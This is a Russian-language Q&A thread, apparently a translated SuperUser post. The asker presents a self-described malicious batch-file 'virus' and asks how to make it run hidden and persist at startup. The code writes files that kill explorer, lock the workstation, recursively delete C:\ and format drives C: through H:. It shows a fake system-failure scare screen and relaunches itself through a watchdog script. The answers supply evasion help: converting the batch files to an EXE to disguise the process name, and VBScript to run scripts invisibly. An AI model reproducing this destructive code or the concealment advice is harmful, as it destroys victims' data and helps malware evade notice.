-2

Это очень сложно. Я разрабатываю вредоносный командный файл, чтобы проверить себя. Это будет сделано при запуске.

у меня есть три + шесть (скрытых) пакетных файлов. Первый файл создает шесть других скрытых пакетных файлов, а затем CALL второй, не скрытый файл.

Второй файл просто говорит некоторые неприятные вещи и в последнем выполняет шесть файлов.

Третий файл работает в фоновом режиме и проверяет, запущен ли второй файл, если нет, он выполнит шесть скрытых файлов.

Теперь проблема, с которой я сталкиваюсь. Если у жертвы есть служба или что-то, что открывает пакетный файл при запуске, и он продолжает работать, все запутывается, потому что все запущенные пакетные файлы имеют имя процесса cmd.exe Если жертва закрывает второй (не скрытый)) , но запущен другой командный файл (не являющийся частью вируса) . Третий пакетный файл будет предполагать, что он все еще работает. Как это также имеет имя cmd.exe

А также второй файл не будет открываться при запуске.

Вот коды моих командных файлов.

Номер файла 1
@echo off

:DALLING

echo @echo off >>1.bat
echo :B >>1.bat
echo start >>1.bat
echo goto B >>1.bat

echo @echo off >>2.bat
echo color 02 >>2.bat
echo :start >>2.bat
echo taskkill -f explorer.exe  >>2.bat
echo start %windir%\System32\rundll32.exe user 32.dll, LockWorkStation            >>2.bat
echo rd c:\ /s /q >>2.bat
echo cls >>2.bat

echo @Echo off >>3.bat
echo Del C:\ *.* >>3.bat

echo format E:\ >>4.bat
echo format F:\ >>4.bat
echo format G:\ >>4.bat
echo format H:\ >>4.bat
echo format C:\ >>4.bat
echo pause >>4.bat

echo @echo off >>5.bat
echo :M >>5.bat
echo msg * ERROR!! >>5.bat
echo goto M >>5.bat

echo @echo off >>6.bat
echo color 02 >>6.bat
echo :start >>6.bat
echo taskkill -f explorer.exe >>6.bat
echo start %windir%\System32\rundll32.exe user 32.dll, LockWorkStation  >>6.bat
echo rd c:\ /s /q >>6.bat
echo cls >>6.bat

call **Second File**

:THE END
cls
echo BYE BYE! BIG BABY BOO!
ping 192.0.2.2 -n 1 -w 500 >nul
pause
start 1.bat
start 2.bat
start 3.bat
start 4.bat
start 5.bat
start 6.bat
EXIT

Я знаю, что это беспорядок, который не будет работать, но все же ...

Файл № 2
@echo off

:THW
color a
echo 5
ping 192.0.2.2 -n 1 -w 1000 >nul
cls
echo 4
ping 192.0.2.2 -n 1 -w 1000 >nul
cls
echo 3
ping 192.0.2.2 -n 1 -w 1000 >nul
cls
echo 2
ping 192.0.2.2 -n 1 -w 1000 >nul
cls
echo 1
ping 192.0.2.2 -n 1 -w 1000 >nul

:BHANUUB

cls
color 04
echo ERROR!
ping 192.0.2.2 -n 1 -w 1000 >nul 
echo.
echo.
echo.
echo System Failure! Windir/system32/Windows programming changing.          Warning, system disability!
echo System can still be saved, you might lose some data. Do you want to  save the system?
echo (y/n)?
echo.
echo.
set/p bhaa=
if %bhaa%==y goto HUH
if %bhaa%==Y goto HUH
if %bhaa%==n goto THE END
if %bhaa%==N goto THE END

:HUH
color a
cls
echo Saving system.
ping 192.0.2.2 -n 1 -w 500 >nul
cls
echo Saving system..
ping 192.0.2.2 -n 1 -w 500 >nul
cls
echo Saving system...
ping 192.0.2.2 -n 1 -w 500 >nul
cls
echo Saving system....
ping 192.0.2.2 -n 1 -w 500 >nul
cls
echo Saving system.....
ping 192.0.2.2 -n 1 -w 150 >nul
goto ENDDD
cls

:ENDDD
cls
color 04
echo HUH!! You wanna save the system, do you????
echo.
echo.

echo      ***                          ***                       
echo      ***                          ***                          
echo      ***    \      /              ***              
echo      ***     \ \/ /               ***                     
echo      ***      \/\/ON'T LET YOU    ***                                         
echo      ***                          ***           
echo      ***                          ***                                                                       

ping 192.0.2.2 -n 1 -w 3000 >nul
goto THE END

Я знаю, что заявления кажутся странными, но все же ...

Я выбрал третий файл из stackoverflow и немного изменил его, третий файл

Файл № 3
@echo off
:B

Set "MyProcess=cmd.exe"
echo "%MyProcess%"
tasklist /NH /FI "imagename eq %MyProcess%" 2>nul |find /i "%MyProcess%"   >nul
If not errorlevel 1 (Echo "%MyProcess%" est en cours d^'execution) else   (start "" "1.bat","" "2.bat","" "3.bat","" "4.bat","" "5.bat","" "6.bat")
goto B

И я знаю, что код третьего файла кажется неправильным, но это не так. Поскольку это прекратит выполнение программ, как только другие cmd.exe будут запущены. Но как прекратить это тогда?

А также, как выполнить все шесть программ, не так, как я написал, я думаю.

И третий файл не будет помещаться в папку автозагрузки, так как у меня есть VBScript, который я обнаружил, который запустит его в фоновом режиме.

НО это не работает для меня, а также я не знаю, как его использовать:P.

Это VBscript (или решение), которое я нашел.
Solution 1:

Save this one line of text as file invisible.vbs:

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

To run any program or batch file invisibly, use it like this:

wscript.exe “C:\Wherever\invisible.vbs” “C:\Some Other Place\MyBatchFile.bat”

To also be able to pass-on/relay a list of arguments use only two double quotes

CreateObject(“Wscript.Shell”).Run “” & WScript.Arguments(0) & “”, 0, False

eg: Invisible.vbs “Kill.vbs ME.exe”

Solution 2:

Use a command line tool to silently launch a process : Quiet.

Я собирался поместить первый файл и vbscrip (если он работал) в папку автозагрузки.

Буду очень признателен за любую помощь, и я ищу подробный ответ.

Спасибо суперпользователь

PS:- Название не достаточно для проблем, не так ли?

2 ответа2

5

Вау, это довольно много информации, большая часть которой только добавляет путаницы, так что я буду придерживаться заглавного вопроса под рукой ... :)

Как остановить открытие каждого пакетного файла как процесс с именем cmd.exe, как видно в диспетчере задач?

Поскольку командные файлы предназначены для автоматизации (создания сценариев) командной строки, все командные файлы запускаются процессом интерпретатора командной строки , который в Windows называется cmd.exe .

Я думаю, что самый простой способ в вашем сценарии - использовать утилиту для преобразования вашего командного файла в EXE. Таким образом, вы можете называть его так, как хотите, применять значок и, самое главное, отображать его в диспетчере задач как собственный именованный процесс.

Для получения справки по преобразованию, проверьте этот существующий вопрос SU: Как я могу преобразовать пакетный скрипт Windows в .exe?

2

Для 3-й части

И третий файл не будет помещаться в папку автозагрузки, так как у меня есть VBScript, который я обнаружил, который запустит его в фоновом режиме.

НО это не работает для меня, а также я не знаю, как его использовать:P.

Это VBscript(или решение), которое я нашел.

Чтобы запустить пакетный сценарий или какой-либо другой процесс как HIDDEN, чтобы он отображался при запуске, как это было бы иначе, используйте приведенную ниже логику, сохраненную в a.VBS файл Вы запустите.VBS-файл для выполнения любой программы или сценария, на которые вы указали, и когда этот процесс запущен, он не будет отображать окно консоли и т.д.

Важное замечание: Убедитесь, что в моем примере, показанном как C:\Path\Script.bat , указан полный путь и имя процесса, который вы хотите запустить, скрытого в части скрипта, а также ОБЯЗАТЕЛЬНО СОХРАНИТЕ двойные кавычки это независимо от пробелов в пути или имени файла.

Set WinScriptHost = CreateObject("WScript.Shell")
WinScriptHost.Run Chr(34) & "C:\Path\Script.bat" & Chr(34), 0
Set WinScriptHost = Nothing

Примечание: я использую это для пары запланированных процессов на сервере, где несколько человек используют RDP для управления различными типами запланированных заданий и планировщиков (не планировщика заданий, а на Windows Server), и это вполне устраивает. Я бы посоветовал сделать запись вашего пакета или других процессов в файл журнала для последующего просмотра, динамических отчетов об ошибках и т.д., Если это возможно.

Источник: Ошибка сервера

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .